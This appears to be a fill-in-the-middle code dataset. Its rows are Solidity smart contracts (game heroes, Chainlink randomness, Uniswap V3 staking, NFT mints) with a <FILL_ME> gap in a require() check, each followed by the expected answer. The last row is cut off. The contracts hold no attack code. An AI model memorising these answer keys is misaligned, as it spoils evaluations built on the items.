function validateHeroIds(uint256[] calldata heroIds, address owner)
external
view
returns (bool)
{
}
function validateHeroEnergies(uint256[] calldata heroIds)
external
view
returns (bool)
{
}
function setLobbyManager(address lbAddr) external onlyOwner {
}
function setRarityPowerBooster(uint256 value) external onlyOwner {
}
function setPrimaryPowerMultiplier(uint256 value) external onlyOwner {
}
function setSecondaryMultiplier(uint256 value) external onlyOwner {
}
function setThirdMultiplier(uint256 value) external onlyOwner {
}
function setBaseLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusExp(uint256 value) external onlyOwner {
}
function setExpDiff(uint256 value) external onlyOwner {
}
function setMaxHeroEnergy(uint256 value) external onlyOwner {
}
function setEnergyRecoveryTime(uint256 value) external onlyOwner {
}
function withdrawReserves(uint256 amount) external onlyOwner {
}
}
| heroEnergy(heroId)>0,"HeroManager: hero zero energy" | 243,975 | heroEnergy(heroId)>0 |
"HeroManager: not hero owner" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
import "@openzeppelin/contracts/utils/Multicall.sol";
import "../libraries/GameFi.sol";
import "../libraries/UnsafeMath.sol";
/** Contract handles every single Hero data */
contract HeroManager is Ownable, Multicall {
using UnsafeMath for uint256;
IERC20 public token;
IERC721 public nft;
address public lobbyManagerAddress;
uint256 public constant HERO_MAX_LEVEL = 30;
uint256 public constant HERO_MAX_EXP = 100 * 10**18;
uint256 public baseLevelUpFee = 50000 * 10**18; // 50,000 $HRI
uint256 public bonusLevelUpFee = 10000 * 10**18; // 10,000 $HRI
uint256 public primaryPowerMultiplier = 10;
uint256 public secondaryMultiplier = 8;
uint256 public thirdMultiplier = 6;
uint256 public rarityPowerBooster = 110;
uint256 public bonusExp = 30 * 10**18; // From Level 1, every battle win will give 30 exp to the hero. And as level goes up, this will be reduced. Level 1 -> 2: 30, Lv 2 -> 3: 29, ...., Lv 29 -> 30: 2
uint256 public expDiff = 4;
uint256 public maxHeroEnergy = 5;
uint256 public energyRecoveryTime = 1 hours;
mapping(uint256 => GameFi.Hero) public heroes;
mapping(uint256 => uint256) public heroesEnergy;
mapping(uint256 => uint256) public heroesEnergyUsedAt;
constructor(address tokenAddress, address nftAddress) {
}
function addHero(uint256 heroId, GameFi.Hero calldata hero)
external
onlyOwner
{
}
function levelUp(uint256 heroId, uint256 levels) external {
}
function spendHeroEnergy(uint256 heroId) external {
}
function expUp(uint256 heroId, bool won) public {
}
function bulkExpUp(uint256[] calldata heroIds, bool won) external {
}
function levelUpFee(uint256 heroId, uint256 levels)
public
view
returns (uint256)
{
}
function heroEnergy(uint256 heroId) public view returns (uint256) {
}
function heroPower(uint256 heroId) external view returns (uint256) {
}
function heroPrimaryAttribute(uint256 heroId)
external
view
returns (uint256)
{
}
function heroLevel(uint256 heroId) public view returns (uint256) {
}
function heroBonusExp(uint256 heroId) internal view returns (uint256) {
}
function levelExp(uint256 level) public view returns (uint256) {
}
function validateHeroIds(uint256[] calldata heroIds, address owner)
external
view
returns (bool)
{
for (uint256 i = 0; i < heroIds.length; i = i.add(1)) {
require(<FILL_ME>)
}
return true;
}
function validateHeroEnergies(uint256[] calldata heroIds)
external
view
returns (bool)
{
}
function setLobbyManager(address lbAddr) external onlyOwner {
}
function setRarityPowerBooster(uint256 value) external onlyOwner {
}
function setPrimaryPowerMultiplier(uint256 value) external onlyOwner {
}
function setSecondaryMultiplier(uint256 value) external onlyOwner {
}
function setThirdMultiplier(uint256 value) external onlyOwner {
}
function setBaseLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusExp(uint256 value) external onlyOwner {
}
function setExpDiff(uint256 value) external onlyOwner {
}
function setMaxHeroEnergy(uint256 value) external onlyOwner {
}
function setEnergyRecoveryTime(uint256 value) external onlyOwner {
}
function withdrawReserves(uint256 amount) external onlyOwner {
}
}
| nft.ownerOf(heroIds[i])==owner,"HeroManager: not hero owner" | 243,975 | nft.ownerOf(heroIds[i])==owner |
"HeroManager: not enough energy" | // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "@openzeppelin/contracts/interfaces/IERC721.sol";
import "@openzeppelin/contracts/utils/Multicall.sol";
import "../libraries/GameFi.sol";
import "../libraries/UnsafeMath.sol";
/** Contract handles every single Hero data */
contract HeroManager is Ownable, Multicall {
using UnsafeMath for uint256;
IERC20 public token;
IERC721 public nft;
address public lobbyManagerAddress;
uint256 public constant HERO_MAX_LEVEL = 30;
uint256 public constant HERO_MAX_EXP = 100 * 10**18;
uint256 public baseLevelUpFee = 50000 * 10**18; // 50,000 $HRI
uint256 public bonusLevelUpFee = 10000 * 10**18; // 10,000 $HRI
uint256 public primaryPowerMultiplier = 10;
uint256 public secondaryMultiplier = 8;
uint256 public thirdMultiplier = 6;
uint256 public rarityPowerBooster = 110;
uint256 public bonusExp = 30 * 10**18; // From Level 1, every battle win will give 30 exp to the hero. And as level goes up, this will be reduced. Level 1 -> 2: 30, Lv 2 -> 3: 29, ...., Lv 29 -> 30: 2
uint256 public expDiff = 4;
uint256 public maxHeroEnergy = 5;
uint256 public energyRecoveryTime = 1 hours;
mapping(uint256 => GameFi.Hero) public heroes;
mapping(uint256 => uint256) public heroesEnergy;
mapping(uint256 => uint256) public heroesEnergyUsedAt;
constructor(address tokenAddress, address nftAddress) {
}
function addHero(uint256 heroId, GameFi.Hero calldata hero)
external
onlyOwner
{
}
function levelUp(uint256 heroId, uint256 levels) external {
}
function spendHeroEnergy(uint256 heroId) external {
}
function expUp(uint256 heroId, bool won) public {
}
function bulkExpUp(uint256[] calldata heroIds, bool won) external {
}
function levelUpFee(uint256 heroId, uint256 levels)
public
view
returns (uint256)
{
}
function heroEnergy(uint256 heroId) public view returns (uint256) {
}
function heroPower(uint256 heroId) external view returns (uint256) {
}
function heroPrimaryAttribute(uint256 heroId)
external
view
returns (uint256)
{
}
function heroLevel(uint256 heroId) public view returns (uint256) {
}
function heroBonusExp(uint256 heroId) internal view returns (uint256) {
}
function levelExp(uint256 level) public view returns (uint256) {
}
function validateHeroIds(uint256[] calldata heroIds, address owner)
external
view
returns (bool)
{
}
function validateHeroEnergies(uint256[] calldata heroIds)
external
view
returns (bool)
{
for (uint256 i = 0; i < heroIds.length; i = i.add(1)) {
require(<FILL_ME>)
}
return true;
}
function setLobbyManager(address lbAddr) external onlyOwner {
}
function setRarityPowerBooster(uint256 value) external onlyOwner {
}
function setPrimaryPowerMultiplier(uint256 value) external onlyOwner {
}
function setSecondaryMultiplier(uint256 value) external onlyOwner {
}
function setThirdMultiplier(uint256 value) external onlyOwner {
}
function setBaseLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusLevelUpFee(uint256 value) external onlyOwner {
}
function setBonusExp(uint256 value) external onlyOwner {
}
function setExpDiff(uint256 value) external onlyOwner {
}
function setMaxHeroEnergy(uint256 value) external onlyOwner {
}
function setEnergyRecoveryTime(uint256 value) external onlyOwner {
}
function withdrawReserves(uint256 amount) external onlyOwner {
}
}
| heroEnergy(heroIds[i])>0,"HeroManager: not enough energy" | 243,975 | heroEnergy(heroIds[i])>0 |
"already fetched random for this block" | pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
import "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/*
* @title Random Number Integer Generator Contract
* @notice This contract fetches verified random numbers which can then be used offchain
*/
/**
* @dev Data required to create the random number for a given VFR request
*/
struct RandomNumberRequested {
uint minValue; // minimum value of the random number (inclusive)
uint maxValue; // maximum value of the random number (inclusive)
string title; // reason for the random number request
uint randomWords; // response value from VRF
}
contract RandomNumberParallel is VRFConsumerBaseV2, Ownable {
// Chainlink Parameters
VRFCoordinatorV2Interface internal COORDINATOR;
LinkTokenInterface internal LINKTOKEN;
uint64 internal s_subscriptionId = 17; // mainnet
address internal vrfCoordinator =
0x271682DEB8C4E0901D1a1550aD2e64D568E69909; // mainnet
address internal link = 0x514910771AF9Ca656af840dff83E8264EcF986CA; // mainnet
bytes32 internal keyHash =
0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef; // mainnet
//uint64 internal s_subscriptionId = 6133; // rinkeby
//address internal vrfCoordinator =
//0x6168499c0cFfCaCD319c818142124B7A15E857ab; // rinkeby
//bytes32 internal keyHash =
//0xd89b2bf150e3b9e13446986e571fb9cab24b13cea0a43ea20a6049a85cc807cc; // rinkeby
//address internal link = 0x01BE23585060835E02B77ef475b0Cc51aA1e0709; // rinkeby
uint32 internal callbackGasLimit = 2000000;
uint16 requestConfirmations = 3;
uint32 numWords = 1;
uint256[] public allRandomNumbers;
mapping(uint => uint) public blockToRandomNumber;
mapping(uint => RandomNumberRequested) public requestIdToRandomNumberMetaData;
event RandomNumberGenerated(
uint randomNumber,
uint256 chainlinkRequestId,
string title);
constructor(
) VRFConsumerBaseV2(vrfCoordinator) {
}
/*
* @notice request a random integer within given bounds
* @param _minValue - minimum value of the random number (inclusive)
* @param _maxValue - maximum value of the random number (inclusive)
* @param _title - reason for the random number request
* @return requestID - id of the request rng for chainlink response
*/
function requestRandomWords(
uint _minValue,
uint _maxValue,
string memory _title
) public onlyOwner returns (uint256 requestID) {
}
// callback function called by chainlink
function fulfillRandomWords(uint256 requestID, uint256[] memory randomWords)
internal
override
{
// get the random number
uint randomRange = requestIdToRandomNumberMetaData[requestID].maxValue + 1 -
requestIdToRandomNumberMetaData[requestID].minValue;
uint randomNumber = randomWords[0] % randomRange;
randomNumber = randomNumber + requestIdToRandomNumberMetaData[requestID].minValue;
requestIdToRandomNumberMetaData[requestID].randomWords = randomWords[0];
require(<FILL_ME>)
blockToRandomNumber[block.number] = randomWords[0];
emit RandomNumberGenerated(randomNumber, requestID, requestIdToRandomNumberMetaData[requestID].title);
allRandomNumbers.push(randomWords[0]);
}
}
| blockToRandomNumber[block.number]==0,"already fetched random for this block" | 243,979 | blockToRandomNumber[block.number]==0 |
"Contract is still locked" | // SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol";
import "@uniswap/v3-periphery/contracts/interfaces/external/IWETH9.sol";
import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV2V3Interface.sol";
import "@uniswap/v3-staker/contracts/interfaces/IUniswapV3Staker.sol";
import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v3-staker/contracts/libraries/IncentiveId.sol";
import "./Interfaces/IOracle.sol";
import "./Mocks/aBTCmock.sol";
import "./Mocks/XFTmock.sol";
contract BTCStaker is IERC721Receiver, Ownable {
XFTMock public XFT;
anonBTC public aBTC;
IWETH9 public WETH;
IUniswapV3Pool public xftPool;
IUniswapV3Pool public tokenPool;
INonfungiblePositionManager public immutable nonfungiblePositionManager;
IUniswapV3Staker public immutable uniswapV3Staker;
IOracle public oracle;
AggregatorV2V3Interface public chainlinkFeed;
uint256 public startTime;
uint256 public endTime;
address public refundee;
IUniswapV3Staker.IncentiveKey public incentiveKey;
//end of reward period
uint256 public expiry;
bool public unlock;
event NFT_LOCKED(uint256 tokenId, address indexed owner);
event SimpleShift(uint256 amount, address indexed recipient, uint256 output);
/// @notice Represents the deposit of an NFT
struct Deposit {
address owner;
uint128 liquidity;
address token0;
address token1;
}
/// @dev deposits[tokenId] => Deposit
mapping(uint256 => Deposit) public deposits;
constructor(
address _XFT,
address _aBTC,
address _WETH,
IUniswapV3Pool _xftPool,
IUniswapV3Pool _tokenPool,
INonfungiblePositionManager _nonfungiblePositionManager,
IOracle _oracle,
IUniswapV3Staker _uniswapV3Staker,
address _chainlinkFeed,
uint256 _startTime,
uint256 _endTime,
address _refundee
) {
}
//the contract unlocked either when the hardcap timestamp or if the owner unlocks earlier
modifier unlocked() {
require(<FILL_ME>)
_;
}
function enable() public onlyOwner{
}
//IncentiveId calculation
function incentiveId() external view returns (bytes32) {
}
// Simple shift XFT to anonBTC (limited time only)
function _simpleShift(uint256 _amount) internal {
}
function _createDeposit(uint256 _tokenId, address _owner) internal {
}
//Helper function to filter invalid Chainlink feeds ie 0 timestamp, invalid round IDs
function chainlinkPrice() public view returns (uint256) {
}
// Get approximate amount of ETH for given _amount in anonBTC
function getETHAmount(uint256 _amount) public view returns (uint256 ethAmount) {
}
function shift(
uint256 _amount
) public payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) {
}
function withdraw(uint256 tokenId) public virtual unlocked {
}
//force withdraw un-withdrawan tokens
function ForceWithdraw(uint256 len, uint256[] memory ids) public virtual onlyOwner unlocked {
}
// Implementing `onERC721Received` so this contract can receive custody of erc721 tokens
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
}
}
| unlock||block.number>=expiry,"Contract is still locked" | 244,096 | unlock||block.number>=expiry |
"Contract is already unlocked" | // SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol";
import "@uniswap/v3-periphery/contracts/interfaces/external/IWETH9.sol";
import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV2V3Interface.sol";
import "@uniswap/v3-staker/contracts/interfaces/IUniswapV3Staker.sol";
import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v3-staker/contracts/libraries/IncentiveId.sol";
import "./Interfaces/IOracle.sol";
import "./Mocks/aBTCmock.sol";
import "./Mocks/XFTmock.sol";
contract BTCStaker is IERC721Receiver, Ownable {
XFTMock public XFT;
anonBTC public aBTC;
IWETH9 public WETH;
IUniswapV3Pool public xftPool;
IUniswapV3Pool public tokenPool;
INonfungiblePositionManager public immutable nonfungiblePositionManager;
IUniswapV3Staker public immutable uniswapV3Staker;
IOracle public oracle;
AggregatorV2V3Interface public chainlinkFeed;
uint256 public startTime;
uint256 public endTime;
address public refundee;
IUniswapV3Staker.IncentiveKey public incentiveKey;
//end of reward period
uint256 public expiry;
bool public unlock;
event NFT_LOCKED(uint256 tokenId, address indexed owner);
event SimpleShift(uint256 amount, address indexed recipient, uint256 output);
/// @notice Represents the deposit of an NFT
struct Deposit {
address owner;
uint128 liquidity;
address token0;
address token1;
}
/// @dev deposits[tokenId] => Deposit
mapping(uint256 => Deposit) public deposits;
constructor(
address _XFT,
address _aBTC,
address _WETH,
IUniswapV3Pool _xftPool,
IUniswapV3Pool _tokenPool,
INonfungiblePositionManager _nonfungiblePositionManager,
IOracle _oracle,
IUniswapV3Staker _uniswapV3Staker,
address _chainlinkFeed,
uint256 _startTime,
uint256 _endTime,
address _refundee
) {
}
//the contract unlocked either when the hardcap timestamp or if the owner unlocks earlier
modifier unlocked() {
}
function enable() public onlyOwner{
require(<FILL_ME>)
unlock = true;
}
//IncentiveId calculation
function incentiveId() external view returns (bytes32) {
}
// Simple shift XFT to anonBTC (limited time only)
function _simpleShift(uint256 _amount) internal {
}
function _createDeposit(uint256 _tokenId, address _owner) internal {
}
//Helper function to filter invalid Chainlink feeds ie 0 timestamp, invalid round IDs
function chainlinkPrice() public view returns (uint256) {
}
// Get approximate amount of ETH for given _amount in anonBTC
function getETHAmount(uint256 _amount) public view returns (uint256 ethAmount) {
}
function shift(
uint256 _amount
) public payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) {
}
function withdraw(uint256 tokenId) public virtual unlocked {
}
//force withdraw un-withdrawan tokens
function ForceWithdraw(uint256 len, uint256[] memory ids) public virtual onlyOwner unlocked {
}
// Implementing `onERC721Received` so this contract can receive custody of erc721 tokens
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
}
}
| !unlock,"Contract is already unlocked" | 244,096 | !unlock |
"Insufficient balance" | // SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol";
import "@uniswap/v3-periphery/contracts/interfaces/external/IWETH9.sol";
import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol";
import "@uniswap/v3-core/contracts/libraries/TickMath.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV2V3Interface.sol";
import "@uniswap/v3-staker/contracts/interfaces/IUniswapV3Staker.sol";
import "@uniswap/v3-core/contracts/interfaces/IERC20Minimal.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v3-staker/contracts/libraries/IncentiveId.sol";
import "./Interfaces/IOracle.sol";
import "./Mocks/aBTCmock.sol";
import "./Mocks/XFTmock.sol";
contract BTCStaker is IERC721Receiver, Ownable {
XFTMock public XFT;
anonBTC public aBTC;
IWETH9 public WETH;
IUniswapV3Pool public xftPool;
IUniswapV3Pool public tokenPool;
INonfungiblePositionManager public immutable nonfungiblePositionManager;
IUniswapV3Staker public immutable uniswapV3Staker;
IOracle public oracle;
AggregatorV2V3Interface public chainlinkFeed;
uint256 public startTime;
uint256 public endTime;
address public refundee;
IUniswapV3Staker.IncentiveKey public incentiveKey;
//end of reward period
uint256 public expiry;
bool public unlock;
event NFT_LOCKED(uint256 tokenId, address indexed owner);
event SimpleShift(uint256 amount, address indexed recipient, uint256 output);
/// @notice Represents the deposit of an NFT
struct Deposit {
address owner;
uint128 liquidity;
address token0;
address token1;
}
/// @dev deposits[tokenId] => Deposit
mapping(uint256 => Deposit) public deposits;
constructor(
address _XFT,
address _aBTC,
address _WETH,
IUniswapV3Pool _xftPool,
IUniswapV3Pool _tokenPool,
INonfungiblePositionManager _nonfungiblePositionManager,
IOracle _oracle,
IUniswapV3Staker _uniswapV3Staker,
address _chainlinkFeed,
uint256 _startTime,
uint256 _endTime,
address _refundee
) {
}
//the contract unlocked either when the hardcap timestamp or if the owner unlocks earlier
modifier unlocked() {
}
function enable() public onlyOwner{
}
//IncentiveId calculation
function incentiveId() external view returns (bytes32) {
}
// Simple shift XFT to anonBTC (limited time only)
function _simpleShift(uint256 _amount) internal {
// Todo: require block.number be smaller than expiry
require(block.number < expiry, "Mint period has ended");
uint256 input = oracle.getCost(_amount, address(chainlinkFeed), address(xftPool));
require(<FILL_ME>)
XFT.burn(msg.sender, input);
aBTC.mint(address(this), _amount);
emit SimpleShift(input, msg.sender, _amount);
}
function _createDeposit(uint256 _tokenId, address _owner) internal {
}
//Helper function to filter invalid Chainlink feeds ie 0 timestamp, invalid round IDs
function chainlinkPrice() public view returns (uint256) {
}
// Get approximate amount of ETH for given _amount in anonBTC
function getETHAmount(uint256 _amount) public view returns (uint256 ethAmount) {
}
function shift(
uint256 _amount
) public payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1) {
}
function withdraw(uint256 tokenId) public virtual unlocked {
}
//force withdraw un-withdrawan tokens
function ForceWithdraw(uint256 len, uint256[] memory ids) public virtual onlyOwner unlocked {
}
// Implementing `onERC721Received` so this contract can receive custody of erc721 tokens
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
}
}
| XFT.balanceOf(msg.sender)>=input,"Insufficient balance" | 244,096 | XFT.balanceOf(msg.sender)>=input |
"ZIP: !unique zipcode" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./interfaces/openZeppelin/IERC20.sol";
import "./interfaces/openZeppelin/IERC2981.sol";
import "./libraries/openZeppelin/Ownable.sol";
import "./libraries/openZeppelin/ReentrancyGuard.sol";
import "./libraries/openZeppelin/SafeERC20.sol";
import "./libraries/FixedPointMathLib.sol";
import "./types/ERC721A.sol";
contract ZipCodes is Ownable, ERC721A, IERC2981, ReentrancyGuard {
/* ========== DEPENDENCIES ========== */
using SafeERC20 for IERC20;
using FixedPointMathLib for uint256;
/* ====== CONSTANTS ====== */
// Owners
address payable private immutable _owner1;
address payable private immutable _owner2;
address payable private immutable _dev;
/* ====== ERRORS ====== */
string private constant ERROR_TRANSFER_FAILED = "transfer failed";
/* ====== VARIABLES ====== */
uint64 public MAX_SUPPLY = 0;
uint64 public PUBLIC_SALE_PRICE = 0.03 ether;
uint64 public MAX_MINT_ALLOWANCE = 7;
string public DESCRIPTION = "As is. Fully on chain. Stackable. Expandable. Conceptually and tangibly bridging web3 and irl.";
mapping (uint32 => bool) private _zipCodes;
bool public isPublicSaleActive = false;
/* ====== MODIFIERS ====== */
modifier tokenExists(uint256 tokenId_) {
}
/* ====== CONSTRUCTOR ====== */
constructor(address owner1_, address owner2_, address dev_) ERC721A("Zip Codes", "ZIP") {
}
receive() payable external {}
function mint(uint32 zip_)
external payable
nonReentrant
{
require(zip_ >= 501, "ZIP: !invalid zipcode");
require(zip_ <= 99950, "ZIP: !invalid zipcode");
require(<FILL_ME>)
require(isPublicSaleActive, "ZIP: !active");
require(totalSupply() < MAX_SUPPLY, "ZIP: quantity exceeded totalSupply()");
require(_numberMinted(msg.sender) < MAX_MINT_ALLOWANCE, "ZIP: exceeded max mint allowance per wallet");
require(PUBLIC_SALE_PRICE == msg.value, "ZIP: !enough eth");
// log the zipcode has been taken
_zipCodes[zip_] = true;
// Mint ZIP NFT
_safeMint(msg.sender, zip_);
}
function isZipcodeAvailable(uint32 zip_) external view returns (bool) {
}
function getZipcode(uint64 tokenId_) external view tokenExists(tokenId_) returns (uint32) {
}
/* ========== FUNCTION ========== */
function setIsPublicSaleActive(bool isPublicSaleActive_) external onlyOwner {
}
function setMaxMintAllowance(uint64 maxMintAllowance_) external onlyOwner {
}
function setMintPrice(uint64 mintPrice_) external onlyOwner {
}
function setMaxSupply(uint64 maxSupply_) external onlyOwner {
}
function setDescription(string memory description_) external onlyOwner {
}
function withdraw() public {
}
function withdrawTokens(IERC20 token) public {
}
// ============ FUNCTION OVERRIDES ============
function supportsInterface(bytes4 interfaceId_) public view virtual override(ERC721A, IERC165) returns (bool) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId_) public view virtual override tokenExists(tokenId_) returns (string memory) {
}
/**
* @dev See {IERC165-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId_, uint256 salePrice_)
external view override
tokenExists(tokenId_)
returns (address receiver, uint256 royaltyAmount)
{
}
/**
* @dev Converts a `uint32` to its ASCII `string` decimal representation.
*/
function _toPaddedString(uint32 value_, uint8 padding_) private pure returns (string memory) {
}
// Base64 by Brecht Devos - <[email protected]>
// Provides a function for encoding some bytes in base64
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function base64(bytes memory data) internal pure returns (string memory) {
}
}
| !_zipCodes[zip_],"ZIP: !unique zipcode" | 244,192 | !_zipCodes[zip_] |
"ZIP: exceeded max mint allowance per wallet" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./interfaces/openZeppelin/IERC20.sol";
import "./interfaces/openZeppelin/IERC2981.sol";
import "./libraries/openZeppelin/Ownable.sol";
import "./libraries/openZeppelin/ReentrancyGuard.sol";
import "./libraries/openZeppelin/SafeERC20.sol";
import "./libraries/FixedPointMathLib.sol";
import "./types/ERC721A.sol";
contract ZipCodes is Ownable, ERC721A, IERC2981, ReentrancyGuard {
/* ========== DEPENDENCIES ========== */
using SafeERC20 for IERC20;
using FixedPointMathLib for uint256;
/* ====== CONSTANTS ====== */
// Owners
address payable private immutable _owner1;
address payable private immutable _owner2;
address payable private immutable _dev;
/* ====== ERRORS ====== */
string private constant ERROR_TRANSFER_FAILED = "transfer failed";
/* ====== VARIABLES ====== */
uint64 public MAX_SUPPLY = 0;
uint64 public PUBLIC_SALE_PRICE = 0.03 ether;
uint64 public MAX_MINT_ALLOWANCE = 7;
string public DESCRIPTION = "As is. Fully on chain. Stackable. Expandable. Conceptually and tangibly bridging web3 and irl.";
mapping (uint32 => bool) private _zipCodes;
bool public isPublicSaleActive = false;
/* ====== MODIFIERS ====== */
modifier tokenExists(uint256 tokenId_) {
}
/* ====== CONSTRUCTOR ====== */
constructor(address owner1_, address owner2_, address dev_) ERC721A("Zip Codes", "ZIP") {
}
receive() payable external {}
function mint(uint32 zip_)
external payable
nonReentrant
{
require(zip_ >= 501, "ZIP: !invalid zipcode");
require(zip_ <= 99950, "ZIP: !invalid zipcode");
require(!_zipCodes[zip_], "ZIP: !unique zipcode");
require(isPublicSaleActive, "ZIP: !active");
require(totalSupply() < MAX_SUPPLY, "ZIP: quantity exceeded totalSupply()");
require(<FILL_ME>)
require(PUBLIC_SALE_PRICE == msg.value, "ZIP: !enough eth");
// log the zipcode has been taken
_zipCodes[zip_] = true;
// Mint ZIP NFT
_safeMint(msg.sender, zip_);
}
function isZipcodeAvailable(uint32 zip_) external view returns (bool) {
}
function getZipcode(uint64 tokenId_) external view tokenExists(tokenId_) returns (uint32) {
}
/* ========== FUNCTION ========== */
function setIsPublicSaleActive(bool isPublicSaleActive_) external onlyOwner {
}
function setMaxMintAllowance(uint64 maxMintAllowance_) external onlyOwner {
}
function setMintPrice(uint64 mintPrice_) external onlyOwner {
}
function setMaxSupply(uint64 maxSupply_) external onlyOwner {
}
function setDescription(string memory description_) external onlyOwner {
}
function withdraw() public {
}
function withdrawTokens(IERC20 token) public {
}
// ============ FUNCTION OVERRIDES ============
function supportsInterface(bytes4 interfaceId_) public view virtual override(ERC721A, IERC165) returns (bool) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId_) public view virtual override tokenExists(tokenId_) returns (string memory) {
}
/**
* @dev See {IERC165-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId_, uint256 salePrice_)
external view override
tokenExists(tokenId_)
returns (address receiver, uint256 royaltyAmount)
{
}
/**
* @dev Converts a `uint32` to its ASCII `string` decimal representation.
*/
function _toPaddedString(uint32 value_, uint8 padding_) private pure returns (string memory) {
}
// Base64 by Brecht Devos - <[email protected]>
// Provides a function for encoding some bytes in base64
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function base64(bytes memory data) internal pure returns (string memory) {
}
}
| _numberMinted(msg.sender)<MAX_MINT_ALLOWANCE,"ZIP: exceeded max mint allowance per wallet" | 244,192 | _numberMinted(msg.sender)<MAX_MINT_ALLOWANCE |
"You can only get 5 NFTs during the Free Mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
// @author Sp4rKz https://twitter.com/Sp4rKz_eth
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A.sol";
contract ElvesofEOCERC721A is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
PublicFreeSale,
PublicSale,
SoldOut,
Reveal
}
Step public sellingStep;
uint private constant MAX_SUPPLY = 5000;
uint private constant MAX_GIFT = 100;
uint private constant MAX_FREE_SALE = 1500;
uint private constant MAX_PUBLIC = 3400;
uint private constant MAX_SUPPLY_MINUS_GIFT = MAX_SUPPLY - MAX_GIFT;
uint public publicSalePrice = 0.02 ether;
uint public saleStartTime = 1654977600;
string public baseURI;
mapping(address => uint) amountNFTperWalletFreeMint;
mapping(address => uint) amountNFTperWalletPublicSale;
uint private maxPerAddressDuringFreeMint = 5;
uint private maxPerAddressDuringPublicMint = 5;
bool public isPaused;
uint private teamLength;
address[] private _team = [
0x04c1fBda2D05DF46984d1071fB396466E761FF0c,
0x9794Ec77f5d44B3109795aF9aE7465185e3E9571,
0x60629dfe81cD812dF789c0e207F0dB6F3BE5613e,
0x96942BABcE8fa02F9F7e304Dc3c0AB874C0DE781
];
uint[] private _teamShares = [
215,
270,
270,
245
];
//constructor
constructor(string memory _baseURI)
ERC721A("Elves of EOC", "EEOC")
PaymentSplitter(_team, _teamShares) {
}
/**
* @notice This contract can't be called by another contract
*/
modifier callerIsUser() {
}
/**
